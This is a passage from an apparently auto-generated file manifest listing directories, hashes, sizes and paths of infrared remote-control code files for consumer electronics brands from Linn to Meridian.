Player -D:infrared/_CSV-IRDB_/Linn/Classic music -D:infrared/_CSV-IRDB_/Linn/Surround Processor -F:94cd75c2a20964d61db5be8a4aa4593f:1913:infrared/_CSV-IRDB_/Linn/CD Player/20,-1.ir -F:92211679546d23cdfa6191831f9256e6:1747:infrared/_CSV-IRDB_/Linn/Classic music/16,-1.ir -F:86f68ea74a3a8131904d672ca7a5af90:813:infrared/_CSV-IRDB_/Linn/Classic music/17,-1.ir -F:58d530261f429e4d4048df2a91faf9e7:2257:infrared/_CSV-IRDB_/Linn/Classic music/20,-1.ir -F:8d443374921ac7fe2e1054d82969fde0:2902:infrared/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir -F:f0384be85108114834bb1c9285b51862:1586:infrared/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir -F:913ea8e16bdc873153493c27a26a0b02:218:infrared/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir -D:infrared/_CSV-IRDB_/LiteOn/DVD Recorder -F:820e25730258535c1c62ab408677fc0c:3157:infrared/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir -D:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller -F:0ab7e7e701a84e45f69c01178259cb7d:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir -F:619500c8350c75ed3d3c1e0ecb5c0da3:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir -F:c61b10ac3a4f8c95bc583bb50e6101f9:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir -F:9a02922af1f0332d351d180f49b42e15:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir -F:18b5edc19613833e67310b315d434928:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir -F:9ccf93f26319e19ffc53b1453a66224c:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir -F:8a7b32b1ae8facad353c1ea7a7b6014d:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir -F:3af7dd449645266373e88a4bac667208:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir -F:88c6ddc5ff336f882389b62cd9386bbd:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir -F:0b9efbcd17c5dc9d83e3b61542e76afb:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir -F:dad9971f3fc3dc28c2f275e9502f8644:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir -F:a3cbfc9251c574b65865a5cb35878080:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir -F:c2d1c7a10212ee93a941b7ba17828bde:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir -F:b287401c861717502885109ff039976a:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir -F:db7281fa205ee606737607f08126b177:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir -F:7136f7cf6237141385e54fe5aeaf1006:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir -F:b6819eab47e1dc39cfc42224c02cae00:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir -F:0f174cba81cae6adf4c2794ce4400eef:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir -F:dd00c0226d0782d39b4ee3973f26829a:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir -F:067d1b7c17b5d0299583a9c858b8f6a9:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir -D:infrared/_CSV-IRDB_/Loewe/DVD Player -D:infrared/_CSV-IRDB_/Loewe/TV -D:infrared/_CSV-IRDB_/Loewe/Unknown_8500H -D:infrared/_CSV-IRDB_/Loewe/Unknown_control -D:infrared/_CSV-IRDB_/Loewe/VCR -F:38d5a091d5e99d7468c451ef39122842:300:infrared/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir -F:d37de4e8e26b394123432ef75f8613c9:5683:infrared/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir -F:1eb541ee3fbb38c9392e9c42e2d30410:128:infrared/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir -F:525f7b5ac8693015fbf7e167d65d5afd:2691:infrared/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir -F:e214ed4307c1cc1ccdf23da6c8e928e0:3510:infrared/_CSV-IRDB_/Loewe/DVD Player/45,45.ir -F:c49d895c18446aa0e096c57f561a3049:14224:infrared/_CSV-IRDB_/Loewe/TV/0,-1.ir -F:28df5792d1d10e64d606ac328b9fca6c:320:infrared/_CSV-IRDB_/Loewe/TV/27,-1.ir -F:5c8cc25b3082d0faa8214d23e8818dca:118:infrared/_CSV-IRDB_/Loewe/TV/31,-1.ir -F:1eb541ee3fbb38c9392e9c42e2d30410:128:infrared/_CSV-IRDB_/Loewe/TV/33,-1.ir -F:df96e52cd69774680bc5dbd24a624f71:627:infrared/_CSV-IRDB_/Loewe/TV/5,-1.ir -F:c679de194be54e222610fa66c1f83bf6:1521:infrared/_CSV-IRDB_/Loewe/TV/6,-1.ir -F:1be064a6b725827f0cbcf2d4a3462295:2909:infrared/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir -F:7421583c9a6c9736aad7836089fd3502:3856:infrared/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir -F:bc7fd9f841c878a29cbeda64aa4f6170:1707:infrared/_CSV-IRDB_/Loewe/VCR/144,0.ir -F:4ab0d886f90dddfe32e98fefdd2059c4:925:infrared/_CSV-IRDB_/Loewe/VCR/144,1.ir -F:1441fb9e500a5ba5c6aa49c68f8be653:2467:infrared/_CSV-IRDB_/Loewe/VCR/5,-1.ir -D:infrared/_CSV-IRDB_/Logitech/Unknown_HarmonyOne -D:infrared/_CSV-IRDB_/Logitech/Unknown_z5500 -F:9bc7b79659257bed34a59e33f6f8fd5d:3433:infrared/_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir -F:c329b6b818cbaef91df3f1e3b693813b:1468:infrared/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir -D:infrared/_CSV-IRDB_/Lumagen/Scaler -F:087c68ea5dab05559edd12232e65191c:2146:infrared/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir -D:infrared/_CSV-IRDB_/Luxman/CD Player -D:infrared/_CSV-IRDB_/Luxman/Receiver -F:e66431ec8e992ed7c9d94499b5eca95a:2778:infrared/_CSV-IRDB_/Luxman/CD Player/204,-1.ir -F:5d6edee6166d6fbe05cc90f99d35430b:1807:infrared/_CSV-IRDB_/Luxman/Receiver/204,-1.ir -D:infrared/_CSV-IRDB_/Luxor/Unknown_DV405 -F:e51b067aab438b66d356957d0c871eb7:3390:infrared/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir -D:infrared/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209 -F:b8c567d1d7119f0e014afad7b0ed9f88:2687:infrared/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir -D:infrared/_CSV-IRDB_/MAGIC LIGHTING/Lighting -F:c93eb13735bf84ef364abfd2fb708b0e:2049:infrared/_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir -D:infrared/_CSV-IRDB_/MAGNASONIC/Unknown_TV -F:e1bb2dcbe0c6b5f49c20416e108be86e:2508:infrared/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir -D:infrared/_CSV-IRDB_/MCL/Unknown_RemoteController -F:4f0654087ad124b451c2801c53445ece:2493:infrared/_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir -D:infrared/_CSV-IRDB_/METRONIC/Unknown_060501 -D:infrared/_CSV-IRDB_/METRONIC/Unknown_SAT -F:6bf1b8899ebd3b8b65294a2e6743446a:3134:infrared/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir -F:c5a12f8ed5c7516150070cdcaac42904:2560:infrared/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir -D:infrared/_CSV-IRDB_/MGA/VCR -F:6197baee79d450484fe269aaccf73d32:2430:infrared/_CSV-IRDB_/MGA/VCR/87,-1.ir -D:infrared/_CSV-IRDB_/MIRO/Unknown_MIRO -F:59ca1c50cd16be830628097711edbe25:1901:infrared/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir -D:infrared/_CSV-IRDB_/MISSION/CD Player -F:34c7a49ace3b8fd2bcc2cbb5ccc3798c:643:infrared/_CSV-IRDB_/MISSION/CD Player/20,-1.ir -D:infrared/_CSV-IRDB_/MS-Tech/Unknown_HTPC -D:infrared/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech -F:2652c8faa5a2c34a86e731683f13206d:4058:infrared/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir -F:83f7046756999b212447591d655022dc:4037:infrared/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir -D:infrared/_CSV-IRDB_/MSI/Unknown_MegaPC -D:infrared/_CSV-IRDB_/MSI/Unknown_PC -D:infrared/_CSV-IRDB_/MSI/Unknown_lircd.conf -D:infrared/_CSV-IRDB_/MSI/Unknown_test -F:14af57257a9760a0508fbe5dfdb9ed29:4191:infrared/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir -F:739ee7a2108dc2f5172b72497d42d133:3009:infrared/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir -F:f926941b38bed3f5e47eda6552789d1f:8803:infrared/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir -F:50e2efc3f4adb283f00d850eae2e12fc:2164:infrared/_CSV-IRDB_/MSI/Unknown_test/134,107.ir -D:infrared/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD -F:4f7bd722ec2e1378e9ebc5578beeed9f:3054:infrared/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir -D:infrared/_CSV-IRDB_/Madrigal/CD Player -D:infrared/_CSV-IRDB_/Madrigal/Receiver -F:984bff71a660be1998778cbc6cadc603:741:infrared/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir -F:fe18c3eb59a7ad30d7c0920ad13d4f9f:1393:infrared/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir -F:729ad1d15a888ab4247a67571e0b3a52:1151:infrared/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir -F:b089f92de0764c44fd755217af27b336:3936:infrared/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir -D:infrared/_CSV-IRDB_/Magnavox/DSS -D:infrared/_CSV-IRDB_/Magnavox/DVD Player -D:infrared/_CSV-IRDB_/Magnavox/DVD Recorder -D:infrared/_CSV-IRDB_/Magnavox/TV -D:infrared/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS -D:infrared/_CSV-IRDB_/Magnavox/VCR -F:e545130e9c474af0c1af7227be076d1a:2445:infrared/_CSV-IRDB_/Magnavox/DSS/128,63.ir -F:b983928254f7875092860506f4a62c99:3079:infrared/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir -F:d5c7281a71edfc435e096761d23a867d:3492:infrared/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir -F:78d0591086dfb708fa095ff751a9b7d7:2884:infrared/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir -F:886c35934537fd38b977028af2f0ce6a:2196:infrared/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir -F:088409b208f1f0cab3d3efb95800a0e4:2243:infrared/_CSV-IRDB_/Magnavox/TV/0,-1.ir -F:14658d1ac82c390f602ad5117bb0ca99:2352:infrared/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir -F:cba939df4ff73b5fe45d994f744cdb43:3331:infrared/_CSV-IRDB_/Magnavox/VCR/5,-1.ir -D:infrared/_CSV-IRDB_/Magnum/Unknown_5520VT -F:f2c5f2807bcd205f50a5fbfd97fb2991:2686:infrared/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir -D:infrared/_CSV-IRDB_/Magnum Dynalab/Tuner -F:086fbde60754ab4dcc9e34acdea7ea4d:1923:infrared/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir -D:infrared/_CSV-IRDB_/Majestic/Unknown_DVX377USB -F:d5c7af08ba7b481f2a19dc8ac7f5185b:4708:infrared/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir -D:infrared/_CSV-IRDB_/Makita/Drapery Controller -F:fe4f7cae9cdc4563f3583826eebfc8df:2229:infrared/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir -D:infrared/_CSV-IRDB_/Malata/DVD Player -F:282587fcaba7f5cd302bad9b530d11e3:3582:infrared/_CSV-IRDB_/Malata/DVD Player/1,-1.ir -D:infrared/_CSV-IRDB_/Manhattan/Unknown_DVD -F:729ef827711885b96f5643292367607e:3402:infrared/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir -D:infrared/_CSV-IRDB_/Manta/Unknown_DVD-002 -D:infrared/_CSV-IRDB_/Manta/Unknown_DVD-007 -F:dd1017e04c8fdc3c5ae44cc3b3820fb1:4102:infrared/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir -F:eacd4fc96258c39c0278cae899db675b:4015:infrared/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir -D:infrared/_CSV-IRDB_/Marantz/Amplifier -D:infrared/_CSV-IRDB_/Marantz/CD Changer -D:infrared/_CSV-IRDB_/Marantz/CD Jukebox -D:infrared/_CSV-IRDB_/Marantz/CD Player -D:infrared/_CSV-IRDB_/Marantz/Cassette Tape -D:infrared/_CSV-IRDB_/Marantz/D-VHS -D:infrared/_CSV-IRDB_/Marantz/DVD -D:infrared/_CSV-IRDB_/Marantz/DVD Player -D:infrared/_CSV-IRDB_/Marantz/MP3 Player -D:infrared/_CSV-IRDB_/Marantz/Plasma -D:infrared/_CSV-IRDB_/Marantz/Plasma Displays -D:infrared/_CSV-IRDB_/Marantz/Pre-Amplifier -D:infrared/_CSV-IRDB_/Marantz/Projector -D:infrared/_CSV-IRDB_/Marantz/Receiver -D:infrared/_CSV-IRDB_/Marantz/TV -D:infrared/_CSV-IRDB_/Marantz/Tuner -D:infrared/_CSV-IRDB_/Marantz/Tuner Section -D:infrared/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD -D:infrared/_CSV-IRDB_/Marantz/Unknown_RC-1400 -D:infrared/_CSV-IRDB_/Marantz/Unknown_RC-65CD -D:infrared/_CSV-IRDB_/Marantz/Unknown_RC-72CD -D:infrared/_CSV-IRDB_/Marantz/Unknown_RC4000CD -D:infrared/_CSV-IRDB_/Marantz/Unknown_RC4300CC -D:infrared/_CSV-IRDB_/Marantz/Unknown_rc -D:infrared/_CSV-IRDB_/Marantz/VCR -D:infrared/_CSV-IRDB_/Marantz/Video Projector -D:infrared/_CSV-IRDB_/Marantz/iPod Dock -F:7f353c97d2e6c5c9bc64cfe9b13b2def:1308:infrared/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir -F:e4e024515d2ef85f8289f14e66f04a34:130:infrared/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir -F:0920ce0ae7498fc949f4aaf8548d8852:135:infrared/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir -F:6d6169ff98bd997152f19d4e33eb4b29:120:infrared/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir -F:eafd65f805ce3cf96384b2add12ddd08:123:infrared/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir -F:b64f2f1fd94def7642034da2891bfa23:133:infrared/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir -F:0c549321c9dddf115cb1c9e003377c55:135:infrared/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir -F:dea42bd3a5b11de4997c93973cd6e2a8:2788:infrared/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir -F:a40de2e61e17c524039a95250359417a:2511:infrared/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir -F:7f319a67fbff906fe30bb4a24cbe6383:10986:infrared/_CSV-IRDB_/Marantz/CD Player/20,-1.ir -F:a2a8cbe783f0925596e5e8f7bb2ce243:1430:infrared/_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir -F:621ac042d5f6d12e3894002781432820:126:infrared/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir -F:7234f118e6f06638374730963456314c:124:infrared/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir -F:fdc20f94ae37c831c418aab6e2ab214b:3909:infrared/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir -F:4f69e7588294f841781da93ff96e8694:4075:infrared/_CSV-IRDB_/Marantz/DVD/4,-1.ir -F:bbbdcb4d9b7e72d6b9e277d9324dae34:3654:infrared/_CSV-IRDB_/Marantz/DVD/69,-1.ir -F:15bfd451b558460240943355aff1efdf:123:infrared/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir -F:274df3eb6a5653ecd0107bfe13bfcc71:11877:infrared/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir -F:f11fc5254f265e1ed18de80e9181367e:339:infrared/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir -F:ac8d2995f7016656defe42f544000ebc:3739:infrared/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir -F:a105398665c0423b7c7fadbdf0c0adf6:123:infrared/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir -F:38adc90d3db99b9efcecdb244695e889:215:infrared/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir -F:81b316d9ee18b8bc9af6ba28b59ce049:126:infrared/_CSV-IRDB_/Marantz/Plasma/0,-1.ir -F:fbc770ee07d55a78ade36db6d7b19023:2964:infrared/_CSV-IRDB_/Marantz/Plasma/24,-1.ir -F:20cb30e2f07428c37f0fb4b2d50132ce:3339:infrared/_CSV-IRDB_/Marantz/Plasma/24,24.ir -F:738e1d0c4ff175718412d83ac7af6b62:216:infrared/_CSV-IRDB_/Marantz/Plasma/24,247.ir -F:9f97bd85aa5bc6ca2723b4f311377b18:1565:infrared/_CSV-IRDB_/Marantz/Plasma/80,-1.ir -F:b47703194ad2a3fb70ec80bece2cfef3:1814:infrared/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir -F:157bb927dfd96937bcb9834de13e9168:1475:infrared/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir -F:194ee2a23332bfc5839a3ce55376f466:131:infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir -F:94f07697b2743d391fb617c202916804:118:infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir -F:509e3f2db95f32368b87d77967b0fb52:123:infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir -F:7aa90e45acea889e0c207c2e8f15ac8e:322:infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir -F:76eaa42d96d3632497c17bb5e8631840:3342:infrared/_CSV-IRDB_/Marantz/Projector/0,-1.ir -F:77f89aae22f5f946a6a4cfb72d067e5c:3173:infrared/_CSV-IRDB_/Marantz/Receiver/0,-1.ir -F:df9688c30c5c7b00d89d97986914a719:485:infrared/_CSV-IRDB_/Marantz/Receiver/12,-1.ir -F:23f2f8b7a46070623df2ffaa5a7216c4:10761:infrared/_CSV-IRDB_/Marantz/Receiver/16,-1.ir -F:79d3e0c75caae3458f23d1b91a4ad138:17144:infrared/_CSV-IRDB_/Marantz/Receiver/17,-1.ir -F:2cf0560bd73569172ab010d4d36f3332:1395:infrared/_CSV-IRDB_/Marantz/Receiver/176,-1.ir -F:d3575b1a0ed5d2d3ebbbe57f64888c91:760:infrared/_CSV-IRDB_/Marantz/Receiver/18,-1.ir -F:8858497fdbc6581426a0563cd214406b:574:infrared/_CSV-IRDB_/Marantz/Receiver/20,-1.ir -F:eafd65f805ce3cf96384b2add12ddd08:123:infrared/_CSV-IRDB_/Marantz/Receiver/21,-1.ir -F:1edd6a224a8c3f2185dec41f7b2b9fc3:382:infrared/_CSV-IRDB_/Marantz/Receiver/23,-1.ir -F:2ac7bf26a385648bbb6b5cb838e6d58d:921:infrared/_CSV-IRDB_/Marantz/Receiver/26,-1.ir -F:b2ac2152a5374e8fc47103ec764dbb38:121:infrared/_CSV-IRDB_/Marantz/Receiver/39,-1.ir -F:5ffc70a7c4cc5465d0d8c1f0c4dd3df5:909:infrared/_CSV-IRDB_/Marantz/Receiver/4,-1.ir -F:5434488b5b6f9523b28cf901628a3ab2:748:infrared/_CSV-IRDB_/Marantz/Receiver/5,-1.ir -F:9aaaced461d87371354461755b641743:1194:infrared/_CSV-IRDB_/Marantz/Receiver/6,-1.ir -F:c742e2e4207fd38bfd8101883af3aa34:123:infrared/_CSV-IRDB_/Marantz/Receiver/7,-1.ir -F:82387ddc83fdb40d839cc11b6b8128fe:121:infrared/_CSV-IRDB_/Marantz/Receiver/8,-1.ir -F:0d4b2ef462999c31b2046c5ac4004ad9:922:infrared/_CSV-IRDB_/Marantz/TV/0,-1.ir -F:215c291119554537726bb1ddaaa3115d:118:infrared/_CSV-IRDB_/Marantz/TV/144,0.ir -F:fbef4483179fe94bdcd0d01233f1735e:1183:infrared/_CSV-IRDB_/Marantz/TV/24,-1.ir -F:817b3231d61ff4ad109358dcaccbca93:1984:infrared/_CSV-IRDB_/Marantz/TV/24,24.ir -F:738e1d0c4ff175718412d83ac7af6b62:216:infrared/_CSV-IRDB_/Marantz/TV/24,247.ir -F:9f97bd85aa5bc6ca2723b4f311377b18:1565:infrared/_CSV-IRDB_/Marantz/TV/80,-1.ir -F:a593c6b531c294b80939a3403231f041:473:infrared/_CSV-IRDB_/Marantz/Tuner/16,-1.ir -F:87982f8827c0be354a2d1348ccb67ca1:4401:infrared/_CSV-IRDB_/Marantz/Tuner/17,-1.ir -F:6d6169ff98bd997152f19d4e33eb4b29:120:infrared/_CSV-IRDB_/Marantz/Tuner/20,-1.ir -F:d084f9201f21929e4a0ce35ae7314171:2178:infrared/_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir -F:581cc2bc293513b8be4928d4916774bc:2676:infrared/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir -F:64aef98ea8d6af623384c3c563376db0:3833:infrared/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir -F:f0e586a32be59e6ad49d2933cdac7235:2044:infrared/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir -F:4dd79a8a40cd5bd9588fafbc8cbd1e70:3125:infrared/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir -F:35e4faae7b5c8d1e8341430af4a9c213:2322:infrared/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir -F:722467073a7c1b3e749608f832dd5411:2498:infrared/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir -F:2f3238e02250c5999fd4664dccbe7c0d:3770:infrared/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir -F:b2e63a0afb5bb3028407a960edb76dcc:927:infrared/_CSV-IRDB_/Marantz/VCR/134,97.ir -F:cf9d51a51ffda261aab17e434732d4dd:126:infrared/_CSV-IRDB_/Marantz/VCR/23,-1.ir -F:71b0ff08e4fa28a0184eb856e29b00e9:5512:infrared/_CSV-IRDB_/Marantz/VCR/5,-1.ir -F:59b4aa2637ae5054f66f05d87ee2a638:3988:infrared/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir -F:dbda7a9a3590c5055925ce4efacab015:303:infrared/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir -F:528856fb132f3761b9ff5e73023f4a46:208:infrared/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir -F:3ac920185c71670f13762df6037a028b:296:infrared/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir -D:infrared/_CSV-IRDB_/Mark/Unknown_rc5 -F:2b8c1acb5adfe1bfb15d8e62b7abf5ab:3590:infrared/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir -D:infrared/_CSV-IRDB_/Mark Levinson/CD Player -D:infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier -F:bf471c3171c7eb1b948fdc592012c7cb:2152:infrared/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir -F:6365472c21303c80bd79435da35c765a:123:infrared/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir -F:aa4b9677b06ce2441ef17f740103a556:857:infrared/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir -F:5f594afa4d3768ab53009c8fba1242c0:2381:infrared/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir -F:9e086059bc673d5b18293bdf86ad9d4f:123:infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir -F:559f7d85b322895815743aa943f1b331:1237:infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir -D:infrared/_CSV-IRDB_/Mas/Unknown_HSD-303 -D:infrared/_CSV-IRDB_/Mas/Unknown_HSD-400 -D:infrared/_CSV-IRDB_/Mas/Unknown_RC-0135 -F:19b38d23f744fafdedc2617367b24814:4193:infrared/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir -F:bf10209ce7b2e1d362fafe9448fda385:4757:infrared/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir -F:367f6e3a8ccf37f8c14c67d008e21356:3857:infrared/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir -D:infrared/_CSV-IRDB_/Maxx/Plasma -F:d95a3072fa4142f124a0b84b81a116de:123:infrared/_CSV-IRDB_/Maxx/Plasma/32,64.ir -F:43c38017be47c426e3477b71d22675b1:3727:infrared/_CSV-IRDB_/Maxx/Plasma/96,-1.ir -D:infrared/_CSV-IRDB_/McIntosh/CD Player -D:infrared/_CSV-IRDB_/McIntosh/Control System -D:infrared/_CSV-IRDB_/McIntosh/DVD Player -D:infrared/_CSV-IRDB_/McIntosh/Laser Disc -D:infrared/_CSV-IRDB_/McIntosh/Pre-Amplifier -D:infrared/_CSV-IRDB_/McIntosh/Receiver -F:2dc2ee98cf6c82647465fca0d531b892:3083:infrared/_CSV-IRDB_/McIntosh/CD Player/202,149.ir -F:8c456fed62c069cacea2272c0798ba73:1073:infrared/_CSV-IRDB_/McIntosh/Control System/202,85.ir -F:ad2580b8b843fcccb7967247052fc386:3241:infrared/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir -F:b700b82ebf71ef3255d2d8dbdc23fa31:2173:infrared/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir -F:7b6bfac100c172c9238fe12ed424ab71:4905:infrared/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir -F:aae3e0c3ff3146721cadb4b96cfcdfbb:4561:infrared/_CSV-IRDB_/McIntosh/Receiver/202,85.ir -D:infrared/_CSV-IRDB_/Medion/Unknown_JX-2006B -D:infrared/_CSV-IRDB_/Medion/Unknown_MD-5410 -D:infrared/_CSV-IRDB_/Medion/Unknown_MD81035 -D:infrared/_CSV-IRDB_/Medion/Unknown_MD81880 -D:infrared/_CSV-IRDB_/Medion/Unknown_medion -D:infrared/_CSV-IRDB_/Medion/Unknown_rc2000 -F:b39b6e9adb437209722ba77fe8f71604:2170:infrared/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir -F:4d23acd5e8b8e07906eda56295067d70:2956:infrared/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir -F:fdbc0978e4e2d67fcfbbdbbcbcdba9b2:4387:infrared/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir -F:dbbe4882336003b8354bce425746ecd8:3738:infrared/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir -F:4c8ba8fb4edd5c26fca7d750c6575798:3169:infrared/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir -F:2817b5f4714ba94c7931f8a9b5662533:2761:infrared/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir -D:infrared/_CSV-IRDB_/Melectronic/Unknown_PP3600 -F:5de63e2733f3d291279983266bce4905:1851:infrared/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir -D:infrared/_CSV-IRDB_/Meliconi/Unknown_Facile -D:infrared/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3 -D:infrared/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2 -D:infrared/_CSV-IRDB_/Meliconi/Unknown_Speedy -F:a35e7efe170f79c45a7a77a9c1ebdc12:2589:infrared/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir -F:f2be461b8f9b11be6f5d818efff3f8d9:4243:infrared/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir -F:d2c7509d37d7df2b2b240d14c7d2f19c:1308:infrared/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir -F:d35091fd2601573f219fb65194e6b5e0:677:infrared/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir -D:infrared/_CSV-IRDB_/Memorex/DVD Player -D:infrared/_CSV-IRDB_/Memorex/TV -F:76d910cd12830afcd3839e92976fc77f:2527:infrared/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir -F:57aad2b7d3d847d3e597c5899efa0391:1905:infrared/_CSV-IRDB_/Memorex/TV/4,-1.ir -D:infrared/_CSV-IRDB_/Meridian/800 System Remote -D:infrared/_CSV-IRDB_/Meridian/CD Player -D:infrared/_CSV-IRDB_/Meridian/CD-R -D:infrared/_CSV-IRDB_/Meridian/DVD -D:infrared/_CSV-IRDB_/Meridian/DVD Player 